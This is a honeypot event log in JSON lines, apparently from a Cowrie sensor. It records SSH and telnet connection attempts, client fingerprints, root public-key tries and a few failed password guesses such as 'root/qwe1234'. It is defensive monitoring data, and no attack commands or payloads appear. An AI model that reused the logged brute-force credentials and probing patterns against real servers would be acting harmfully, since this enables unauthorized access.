{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:60:e5:86:c9:77:50:65:b0:a1:fa:3e:7c:8b:ec:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCa0801khXNGVPAufzD7gh67pEZp2aQEMPHUIay7vehVgQFvCAqiVwv7d6L03+NQi+d7Ym9WpyrcJgx0WFqfhY73cC4i6p0sOaFz8VMOCWrivTBDlFQE2/8b73ky0a/N7Zi+nluBvY8n23VZ104vwiQeJWbzg/qTHaoZE4D0Ekp4YmupFz7LslOGvfqNp++dVk2lAJgRToXnrITQv4Zu7ewZ0O7P/K6Q61WNCuD3A2TrBJdOT56x81/+qWEqyJEFJvzQYeDckhnuaXrwqW9p2LgcDsP8/744Cs5DTJ6UsTWJC/4tA0Ee65NnPLT6TCat34OIOfEiSuU7obqgrSuj5JF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:60:e5:86:c9:77:50:65:b0:a1:fa:3e:7c:8b:ec:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:30.798357Z","src_ip":"104.194.10.248","session":"f69a63905a9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:60:e5:86:c9:77:50:65:b0:a1:fa:3e:7c:8b:ec:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCa0801khXNGVPAufzD7gh67pEZp2aQEMPHUIay7vehVgQFvCAqiVwv7d6L03+NQi+d7Ym9WpyrcJgx0WFqfhY73cC4i6p0sOaFz8VMOCWrivTBDlFQE2/8b73ky0a/N7Zi+nluBvY8n23VZ104vwiQeJWbzg/qTHaoZE4D0Ekp4YmupFz7LslOGvfqNp++dVk2lAJgRToXnrITQv4Zu7ewZ0O7P/K6Q61WNCuD3A2TrBJdOT56x81/+qWEqyJEFJvzQYeDckhnuaXrwqW9p2LgcDsP8/744Cs5DTJ6UsTWJC/4tA0Ee65NnPLT6TCat34OIOfEiSuU7obqgrSuj5JF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:30.802411Z","src_ip":"104.194.10.248","session":"f69a63905a9f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:47:f6:5a:69:e5:13:1c:c2:a8:41:2b:67:bc:a0:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCmKA+UVnhCoIwGGHCKdNVqSkV2y2LLKkgWJwiyKqD42pLu6O193/4HsWWnKnQWITx21h1OnLkMUemx/pvNXNMAD7MBM68NeYRDk5E6R9q43RUEXi9uw40EBUDcBewGCxHmpVb5neoAVC8pbW6pXjWdR799NhufgCBtGETxz4z3w7/cnPhHMHyaWBwgdsfE5ATFG+RZl5C0DbDfz3kUQrOOyS5Gr1Pwa+a/AaOn+wnN/TkLfTJsp9E5EL2Sa7rrmM0XWq7gsOnZJuUAHxiY182O/+71IMocnPu+COBgYWEw4jksN5tpeXNVoXgPC0Bivt2YJ6SLeHrmmtTUcCelkAiy2nPzVeoycZR3bBTzfEzqukXXLV+PHchxdD2Yoax1HcNbgI9KisUXRVTAHl/cligHPuu0F10hbOBO2pq8CGYN0is2x8miIV7h1qi5/HW/Vi3IbstxlSUB4KKzhQ3JpftIOjJivY8ny/uK6f/H6Z+QZQwtK3ZUTRoR8J14Ph20FHDAGxEJSozkDS9hiZzCFRjGfjRIeSWJkfGNFKq0uNREtfc5r+BqVHGD/lrE+Sz1Wp33IfMHHk+NG37VMoFf37t+Yg6lzX3gRm8jNFkD5GzZN+D4lC8yiUqfx/apvJ/XQVmYNOs/IVVeJMJ5HEu8QnMYayJXcTpI2FB0FukTXApIoQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:47:f6:5a:69:e5:13:1c:c2:a8:41:2b:67:bc:a0:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:30.811536Z","src_ip":"104.194.10.248","session":"f69a63905a9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:47:f6:5a:69:e5:13:1c:c2:a8:41:2b:67:bc:a0:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCmKA+UVnhCoIwGGHCKdNVqSkV2y2LLKkgWJwiyKqD42pLu6O193/4HsWWnKnQWITx21h1OnLkMUemx/pvNXNMAD7MBM68NeYRDk5E6R9q43RUEXi9uw40EBUDcBewGCxHmpVb5neoAVC8pbW6pXjWdR799NhufgCBtGETxz4z3w7/cnPhHMHyaWBwgdsfE5ATFG+RZl5C0DbDfz3kUQrOOyS5Gr1Pwa+a/AaOn+wnN/TkLfTJsp9E5EL2Sa7rrmM0XWq7gsOnZJuUAHxiY182O/+71IMocnPu+COBgYWEw4jksN5tpeXNVoXgPC0Bivt2YJ6SLeHrmmtTUcCelkAiy2nPzVeoycZR3bBTzfEzqukXXLV+PHchxdD2Yoax1HcNbgI9KisUXRVTAHl/cligHPuu0F10hbOBO2pq8CGYN0is2x8miIV7h1qi5/HW/Vi3IbstxlSUB4KKzhQ3JpftIOjJivY8ny/uK6f/H6Z+QZQwtK3ZUTRoR8J14Ph20FHDAGxEJSozkDS9hiZzCFRjGfjRIeSWJkfGNFKq0uNREtfc5r+BqVHGD/lrE+Sz1Wp33IfMHHk+NG37VMoFf37t+Yg6lzX3gRm8jNFkD5GzZN+D4lC8yiUqfx/apvJ/XQVmYNOs/IVVeJMJ5HEu8QnMYayJXcTpI2FB0FukTXApIoQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:30.817686Z","src_ip":"104.194.10.248","session":"f69a63905a9f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:8c:1c:bc:f3:db:40:26:ac:60:9f:07:5a:c0:82:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxEL/bE0NsawuA0oA3hux7f6ffVAp89jSDGyVIG2ILn4cF1vRarXtMzTb5ydQ5uoyFn/M4d8hhoV7BRU/+V+ztaONOpcBR9Oa9kLPMZafcB5uGqZLqAeKuNBfY8+hZ35PMt5DxlYQBnBIxK810ZtQY5oXX06440zX/NZj7sSifM5hFMsureHPwr8Dz0k4Z0sZC+ZrN3i8nI7hTdaBEzp3Ror11+e771NStTVsd+VZ7zclWQjBeAIMLUiUHtWTub6suJuJq1Waq6sbuhyDfSqSfxD3L4m/JhNH0+XpNbMF8ohfcRGvpyGozPNTANEK3aY4ZVZuLZ9uucZgKfQ5rsISRXhnNbaBTpfZFRuMmIVGLp1+hqV2Sq4FexRbP1CunWzTf9SrD5h3s1SNxq2Ko4WQet8R8f3r0V9pM66TLeSniQeNUdf7p0pu3Vs1EEnOOdXcu7ZBo+J/AwuDVRaaPBBv5KkMr8epmByIZ1nS8ldA3IjpD1rTGDPdByvbfLMcBU4w/cIQuDaWMQEvhGr9o+HQT5uHXFtYivLBX5AItIFIfB5QB1FUhOfZ0Pona+u5ww8yA2JSH9VvdLXU36zuJXe4Sq6pCTNBnrZqyI4N2NisjRP8S1yGNP67+SjqhGadtyCkClOPEA4JyvyUCn9wo5Rkur9ab8327Pk6CisAmnMEdxw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:8c:1c:bc:f3:db:40:26:ac:60:9f:07:5a:c0:82:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:30.827312Z","src_ip":"104.194.10.248","session":"f69a63905a9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:8c:1c:bc:f3:db:40:26:ac:60:9f:07:5a:c0:82:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxEL/bE0NsawuA0oA3hux7f6ffVAp89jSDGyVIG2ILn4cF1vRarXtMzTb5ydQ5uoyFn/M4d8hhoV7BRU/+V+ztaONOpcBR9Oa9kLPMZafcB5uGqZLqAeKuNBfY8+hZ35PMt5DxlYQBnBIxK810ZtQY5oXX06440zX/NZj7sSifM5hFMsureHPwr8Dz0k4Z0sZC+ZrN3i8nI7hTdaBEzp3Ror11+e771NStTVsd+VZ7zclWQjBeAIMLUiUHtWTub6suJuJq1Waq6sbuhyDfSqSfxD3L4m/JhNH0+XpNbMF8ohfcRGvpyGozPNTANEK3aY4ZVZuLZ9uucZgKfQ5rsISRXhnNbaBTpfZFRuMmIVGLp1+hqV2Sq4FexRbP1CunWzTf9SrD5h3s1SNxq2Ko4WQet8R8f3r0V9pM66TLeSniQeNUdf7p0pu3Vs1EEnOOdXcu7ZBo+J/AwuDVRaaPBBv5KkMr8epmByIZ1nS8ldA3IjpD1rTGDPdByvbfLMcBU4w/cIQuDaWMQEvhGr9o+HQT5uHXFtYivLBX5AItIFIfB5QB1FUhOfZ0Pona+u5ww8yA2JSH9VvdLXU36zuJXe4Sq6pCTNBnrZqyI4N2NisjRP8S1yGNP67+SjqhGadtyCkClOPEA4JyvyUCn9wo5Rkur9ab8327Pk6CisAmnMEdxw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:30.830989Z","src_ip":"104.194.10.248","session":"f69a63905a9f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:02:b3:98:03:e8:46:19:a9:d1:8c:c6:3b:1b:b7:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCUXVSEH+G3G7tQ5bT2zSqMUc40nzNY4EOxacJHuTOKgb4zfSYgxAnmt04i+bObOLCbwylLMMIa+Pt5yqpgOjuwdYDjyDaZx4tmQZdUcCQNvXNDLUGFtexJvVUUulre9eBIbnkXKRabB4WaLvov5O9Taht1vlaAosmVARC/jhN6lil2MFNqIuLjc/f/98gI8xiEnwlqTZVce8/qL7B/foP/efEwd0ZtCHJcfN8WrmeZFSYU0xYp14uy1YfbrDJKf3zbD6HbqBqscLAWvHmNj7S0UzfSrY19+gVedU/cpICbRc9+CF2TMfIVTfyFlBNKOlLB1t8WjFTiBO+oGWHkcOznZ5qvo9klu9xTM10DxLIoPbqiLcx/soyFV8N8thISKl45TOIKvv9E+0bNVIwClOD/rZb1tU0WsCVFiB3M1NWVfHsTHNiLUxON4QZfhT7aRZ5Z9B0TMvU1UOn+s4kUYJojFeN46gi8PP9tHXsTVaHjRw7HbLhQ/loQPPob6x+aeAEOxDSHxevmASpgwQTb2tzKfw2pAWHfmR2fipQ91HRweRqN4NUA3JR58pmmsO1/ipPp5diE6Dx0zSpGU3wbGhcRYPzPLvcX6wkARZhgLmap+4ZwN7qz56orFoOmyjghcv+zUBJdteMKGqfCxz6baXpN1Ytvr+UXyET4XMU8J6qMOQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e5:02:b3:98:03:e8:46:19:a9:d1:8c:c6:3b:1b:b7:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:30.841816Z","src_ip":"104.194.10.248","session":"f69a63905a9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:02:b3:98:03:e8:46:19:a9:d1:8c:c6:3b:1b:b7:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCUXVSEH+G3G7tQ5bT2zSqMUc40nzNY4EOxacJHuTOKgb4zfSYgxAnmt04i+bObOLCbwylLMMIa+Pt5yqpgOjuwdYDjyDaZx4tmQZdUcCQNvXNDLUGFtexJvVUUulre9eBIbnkXKRabB4WaLvov5O9Taht1vlaAosmVARC/jhN6lil2MFNqIuLjc/f/98gI8xiEnwlqTZVce8/qL7B/foP/efEwd0ZtCHJcfN8WrmeZFSYU0xYp14uy1YfbrDJKf3zbD6HbqBqscLAWvHmNj7S0UzfSrY19+gVedU/cpICbRc9+CF2TMfIVTfyFlBNKOlLB1t8WjFTiBO+oGWHkcOznZ5qvo9klu9xTM10DxLIoPbqiLcx/soyFV8N8thISKl45TOIKvv9E+0bNVIwClOD/rZb1tU0WsCVFiB3M1NWVfHsTHNiLUxON4QZfhT7aRZ5Z9B0TMvU1UOn+s4kUYJojFeN46gi8PP9tHXsTVaHjRw7HbLhQ/loQPPob6x+aeAEOxDSHxevmASpgwQTb2tzKfw2pAWHfmR2fipQ91HRweRqN4NUA3JR58pmmsO1/ipPp5diE6Dx0zSpGU3wbGhcRYPzPLvcX6wkARZhgLmap+4ZwN7qz56orFoOmyjghcv+zUBJdteMKGqfCxz6baXpN1Ytvr+UXyET4XMU8J6qMOQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:30.846002Z","src_ip":"104.194.10.248","session":"f69a63905a9f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:d0:db:f8:fb:ae:5c:24:5c:a0:e6:3a:6c:38:82:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsGWVWoGF8uodVaXW5v69rIL3r+yAPUDY4W6B4wm8McfaU4wXPZKC2YWP8V6y9OEkRVX+lVVAfhc3BtZqJBHSQXf50JZq/I+IxsWR4N3nVRBAv5zTIlaVdKjHfshRCHWhoezMrQzQjYrJbAJByI78DeE0PhgVRcA8ysmyq6c6/n/QUHzfX1HDbGEbUVCrVdViFSMy6VnVPhCTjBt2ZQu+EgGPRGvN0U/sMxB32lFK5Wj6eG0vQ0W1Zn9M8Wc30n50uAUV+NJC/c50T1k4Aii/Xv6Qypa/fQsZBD/jpR72TTeRr85KieQpHnjDq9QeLHypvC5SqALf32TRpsivE7SfLrC8zo/i+kgZS5QdHWPggdsUUyhviDjbfl9pPuGHPkeORI7NrgWTMevgvyU7RCuclJW+V7K7TMikiWpYzIwSTvXzPMAFwwm34yy7KqO1wLj4OW+0UA0gpDmbtV57S2QUiDnEyMtYMUvO8o4Z+jc+bZXJCn9krj1zK9um911MrTZwHevKGKA40YpIN0q0cpZaBhhuMN1Gc1bfsiLhMNpuZD17HBhg38bzHbuvunTu6Oeh576FxQXBKBmn5A54kjtFjpEcRvdKPIe1a6iFPSgd8Nx8SyKpuEcfuMkBUfUVemHdDlM5b+gOyv+TvAmHjzJhNYYEfULVYN2NzHbKBzk01SQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:d0:db:f8:fb:ae:5c:24:5c:a0:e6:3a:6c:38:82:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:30.855134Z","src_ip":"104.194.10.248","session":"f69a63905a9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:d0:db:f8:fb:ae:5c:24:5c:a0:e6:3a:6c:38:82:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsGWVWoGF8uodVaXW5v69rIL3r+yAPUDY4W6B4wm8McfaU4wXPZKC2YWP8V6y9OEkRVX+lVVAfhc3BtZqJBHSQXf50JZq/I+IxsWR4N3nVRBAv5zTIlaVdKjHfshRCHWhoezMrQzQjYrJbAJByI78DeE0PhgVRcA8ysmyq6c6/n/QUHzfX1HDbGEbUVCrVdViFSMy6VnVPhCTjBt2ZQu+EgGPRGvN0U/sMxB32lFK5Wj6eG0vQ0W1Zn9M8Wc30n50uAUV+NJC/c50T1k4Aii/Xv6Qypa/fQsZBD/jpR72TTeRr85KieQpHnjDq9QeLHypvC5SqALf32TRpsivE7SfLrC8zo/i+kgZS5QdHWPggdsUUyhviDjbfl9pPuGHPkeORI7NrgWTMevgvyU7RCuclJW+V7K7TMikiWpYzIwSTvXzPMAFwwm34yy7KqO1wLj4OW+0UA0gpDmbtV57S2QUiDnEyMtYMUvO8o4Z+jc+bZXJCn9krj1zK9um911MrTZwHevKGKA40YpIN0q0cpZaBhhuMN1Gc1bfsiLhMNpuZD17HBhg38bzHbuvunTu6Oeh576FxQXBKBmn5A54kjtFjpEcRvdKPIe1a6iFPSgd8Nx8SyKpuEcfuMkBUfUVemHdDlM5b+gOyv+TvAmHjzJhNYYEfULVYN2NzHbKBzk01SQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:30.859096Z","src_ip":"104.194.10.248","session":"f69a63905a9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:30.871864Z","src_ip":"104.194.10.248","session":"f69a63905a9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":79.01485204696655,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:32.571648Z","src_ip":"111.119.202.27","session":"28300ca3f9f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":54326,"dst_ip":"159.203.135.109","dst_port":23,"session":"7464adaf955e","protocol":"telnet","message":"New connection: 111.119.202.27:54326 (159.203.135.109:23) [session: 7464adaf955e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:56.522583Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":37900,"dst_ip":"159.203.135.109","dst_port":23,"session":"258e2bebcdab","protocol":"telnet","message":"New connection: 111.119.202.27:37900 (159.203.135.109:23) [session: 258e2bebcdab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:56.703803Z"}
{"eventid":"cowrie.session.closed","duration":0.005307197570800781,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:56.708994Z","src_ip":"111.119.202.27","session":"258e2bebcdab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":37902,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b59d32fc05a","protocol":"telnet","message":"New connection: 111.119.202.27:37902 (159.203.135.109:23) [session: 7b59d32fc05a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:57.271603Z"}
{"eventid":"cowrie.session.closed","duration":0.00530552864074707,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:57.276788Z","src_ip":"111.119.202.27","session":"7b59d32fc05a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":42298,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c77a7faf075","protocol":"telnet","message":"New connection: 111.119.202.27:42298 (159.203.135.109:23) [session: 9c77a7faf075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:35:12.398544Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":46630,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a81dafba4ab","protocol":"ssh","message":"New connection: 2.57.122.210:46630 (10.17.0.5:22) [session: 5a81dafba4ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:35:13.901608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:35:13.906828Z","src_ip":"2.57.122.210","session":"5a81dafba4ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:35:14.015572Z","src_ip":"2.57.122.210","session":"5a81dafba4ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!@#$qazwsxedc","message":"login attempt [ubuntu/!@#$qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:35:14.436457Z","src_ip":"2.57.122.210","session":"5a81dafba4ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:35:15.571935Z","src_ip":"2.57.122.210","session":"5a81dafba4ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":37910,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee0382929879","protocol":"telnet","message":"New connection: 111.119.202.27:37910 (159.203.135.109:23) [session: ee0382929879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:35:16.087257Z"}
{"eventid":"cowrie.session.closed","duration":0.006360054016113281,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:35:16.093271Z","src_ip":"111.119.202.27","session":"ee0382929879","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":33296,"dst_ip":"159.203.135.109","dst_port":23,"session":"45d4902e4aa2","protocol":"telnet","message":"New connection: 111.119.202.27:33296 (159.203.135.109:23) [session: 45d4902e4aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:35:37.084707Z"}
{"eventid":"cowrie.session.closed","duration":0.005429267883300781,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:35:37.089994Z","src_ip":"111.119.202.27","session":"45d4902e4aa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78048300743103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:35:43.178922Z","src_ip":"111.119.202.27","session":"9c77a7faf075","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00263786315918,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:35:47.187423Z","src_ip":"111.119.202.27","session":"e5b31aa46f8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":17862,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8badaba523b","protocol":"ssh","message":"New connection: 193.24.211.100:17862 (159.203.135.109:22) [session: b8badaba523b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:35:57.946873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:35:57.959379Z","src_ip":"193.24.211.100","session":"b8badaba523b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:35:58.066919Z","src_ip":"193.24.211.100","session":"b8badaba523b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe1234","message":"login attempt [root/qwe1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:35:58.580177Z","src_ip":"193.24.211.100","session":"b8badaba523b","protocol":"ssh"}
